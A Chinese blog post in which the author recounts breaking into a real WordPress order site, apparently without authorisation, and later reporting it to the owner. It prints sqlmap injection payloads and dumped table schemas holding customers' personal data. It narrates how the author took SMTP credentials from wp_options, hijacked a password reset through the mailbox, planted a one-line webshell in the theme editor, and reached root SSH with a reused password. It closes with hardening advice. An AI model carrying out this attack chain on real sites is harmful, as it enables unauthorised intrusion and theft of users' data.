======更新=======
联系了站长，站长已经修复了漏洞。
======原文=======
开始渗透是晚上11点，写这篇文章的时候是晚上12点吧。精力充沛（不）
整个渗透过程我都会像写小说一样写（x但是真实性可以保证qwq）
晚上拿手机翻到了这个网站，之前也有耳闻（似乎挺出名）。然后看到了他的下单系统，里面有个查看所有订单，随手加了个单引号——
然后就谜一样的全出来了：
同时，我在下单的页面也发现了get类型sql注入漏洞：
现在有这种漏洞的网站不多了，于是赶紧开电脑。
对了别忘了信息采集！
是oneinstack搭建的环境，phpmyadmin暴露无遗。
把刚才那个注入点丢到sqlmap里面去扫。发现是管理员的权限：
那就直接–os-shell试下吧，结果失败。尝试读文件、写文件，统统失败，不知道是不是权限问题：
思路到这里就暂时断了。不过先爆破一下表吧，看见有这几个表可以利用：
Parameter: huashi (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: huashi=1’ AND 4698=4698 AND ‘zlau’=‘zlau
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: huashi=1’ OR (SELECT 5007 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(5007=5007,1))),0x7178717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ‘apPr’=‘apPr
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: huashi=1’ AND SLEEP(5) AND ’tNqm’=‘tNqm
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: huashi=1’ UNION ALL SELECT NULL,CONCAT(0x71626a7871,0x5578654b6a61507555684875587264414663466a486b72516b56534d554877574a75646a6f667871,0x7178717871),NULL,NULL– CvsI
-–
web application technology: Apache
back-end DBMS: MySQL >= 5.0
Database: CCS
Table: xiadan_huashi
[4 columns]
+——–+————-+
| Column | Type |
+——–+————-+
| huashi | varchar(64) |
| id | int(4) |
| price | int(4) |
| qq | bigint(13) |
+——–+————-+
Database: CCS
Table: xiadan_old
[10 columns]
+———–+————–+
| Column | Type |
+———–+————–+
| date | datetime |
| huashi | varchar(120) |
| id | int(11) |
| ip | varchar(16) |
| message | text |
| paymethod | varchar(120) |
| phone | varchar(16) |
| price | varchar(32) |
| qq | varchar(13) |
| state | char(14) |
+———–+————–+
Database: CCS
Table: joinccs
[6 columns]
+——–+————-+
| Column | Type |
+——–+————-+
| time | datetime |
| email | varchar(96) |
| name | varchar(96) |
| pass | varchar(32) |
| qq | varchar(96) |
| studio | varchar(96) |
+——–+————-+
Database: CCS
Table: xiadan
[9 columns]
+———–+————–+
| Column | Type |
+———–+————–+
| date | datetime |
| huashi | varchar(120) |
| id | int(11) |
| ip | varchar(16) |
| message | text |
| paymethod | varchar(120) |
| price | varchar(32) |
| qq | varchar(13) |
| state | char(14) |
+———–+————–+
Database: CCS
Table: trans
[5 columns]
+———+————-+
| Column | Type |
+———+————-+
| id | int(3) |
| ip | varchar(18) |
| message | text |
| phone | varchar(13) |
| qq | varchar(13) |
+———+————-+
Database: CCS
Table: xiadan_reg
[5 columns]
+——–+————–+
| Column | Type |
+——–+————–+
| date | datetime |
| email | varchar(127) |
| name | varchar(127) |
| qq | bigint(13) |
| state | varchar(16) |
+——–+————–+
爆出来一大堆个人数据，有的还包括手机号，但都没有密码之类的，就没法利用了：
然后怎么办呢？
既然我已经可以随便读取数据库，可不可以直接读取管理员账号密码呢？
图中这两个账户，经过wp_usermeta表的查看，是管理员账户。就是说等下我下手的目标应该是这两个账户。
但要知道wordpress的密码是通过玄学加密的，破解几乎无望。
那么不可以通过重置密码的手段呢？通过wp发送邮件，之后数据库肯定会存一个重置密码的key吧，盗用这个key就行了。这方法之前也没体验过。
然后看到wp文档里面对于这个密码重置函数的解释（https://developer.wordpress.org/reference/functions/get_password_reset_key/）：
可以看到最新版wp插入到数据库里面的是hash了的key，所以没法盗用。2013年之前好像插入的是明文key，现在应该修正了。
之后思路又断了。还是继续从表中挖掘出点线索吧。由于最近开发过wp插件，了解到wp_options是个很重要的表，我就导出这个表看看有没有啥可以利用的。在导出的数据里面搜索pass这几个字：
woc，这不是smtp链接服务器吗。我可以利用这个账户（[email protected]）登录到邮件系统，然后在前台通过wp发送重置密码的邮件后，在这个邮件系统的“已发送”里面获取到明文的key！
从smtp域名可以看出是阿里云的企业邮箱。用这个账户尝试登录，但都是登录失败。怎么可能会这样呢？
又尝试社工套路，用这个密码作为root密码登录phpmyadmin，也是失败。
然后又过了好久，还是接着看这张表的内容吧。往后翻又发现了一个smtp的设置处：
这个密码和之前的是一样的，只不过登录名不一样（[email protected]）。
用这个账户登录邮箱，居然就登录进去了：
出现这种情况的原因应该是wordpress使用了某些smtp的插件，然后导致站点没使用wp自带的设置，而是使用插件的设置。后来可能发件信息也改过，但wp自带的设置里面就没有即使更新了。
OK，现在在后台登录的地方重置密码吧。
原则上应该会在wp-admin这个目录由wp自带的系统完成重置密码的操作，但在这里却跳转到一个前台页面，输入一个管理员账户名点重置密码后显示“密码重置邮件已经送出”的字眼，但被我控制的那个smtp服务器已发送归档里面并没有显示此邮件，基本可以判定邮件没有发出。
这种情况估计就是所用的主题篡改了部分wp原生的用户系统，采用主题自己的系统来处理。结果这个主题的系统又有bug。。。
但wp原生的重置密码还是可以通过非前台手段调用的，这里我用hackbar这个插件直接发送post包来重置密码：
发送之后，界面显示密码重置邮件已发送。与此同时在邮箱里面也显示了这封“千呼万唤始出来”的邮件：
通过链接重置密码，然后登陆到仪表盘：
但是把密码给人家改了肯定要再改回去吧。
那么我就先getshell。在主题编辑里面留个一句话：
然后用菜刀连接（由于我这里是mac，就用中国蚁剑）：
OK，至此已经完全控制了此虚拟主机。
在wp-config.php里面可以看到mysql数据库的账户密码：
用户名不是root，是【打码】。密码是邮件密码全部改成小写。。。
为啥刚才我没想到？
用这个账户登录phpmyadmin，刚才我dump了wp_users表里面的密码hash，给他改回去：
OK，到这里整个渗透过程就差不多完成了。
但是别急啊，咱再用刚才那个邮箱密码ssh到服务器试试！
真见鬼，一下子就登上了。。。。
可见此网站安全防护相当差。启用root账户登录不说，还没使用密钥登录；没用密钥登录不说，密码还用的这么“社工able”。。。
由于是京东国内云，就不敢再深入研究或者搞什么内网漫游了，exit掉，咱不干坏事。
还是通知站长修复吧。
给站长（们）的建议：
1.防注入编程，尽量避免出现这么严重的漏洞，如果实在搞不定可以试下安全狗。程序里面个人信息要加密，现在网络安全法指出如果站点个人信息泄露了，站长要被请喝茶的。
2.不要使用弱密码、易社工密码，定期更换密码。不同架构平台（mysql、wordpress、ssh、邮箱）等使用不同的密码，而且要别人知道你一个密码绝对猜不出你的其他密码那种。
3.ssh禁止root账户、禁止密码登录，采用密钥登录。
4.加固安全措施，比如邮箱、手机报警。启用系统日志并定期检查。
5.mysql一个站点用一个账户，不要一个root权限的账户满大街用。
6.oneinstack这类程序安装之后要删除或移动default站点，不要让人一下就访问到phpmyadmin这样重要的程序。
7.一定要用脚本或者什么的每日备份，不是所有渗透都是善意的。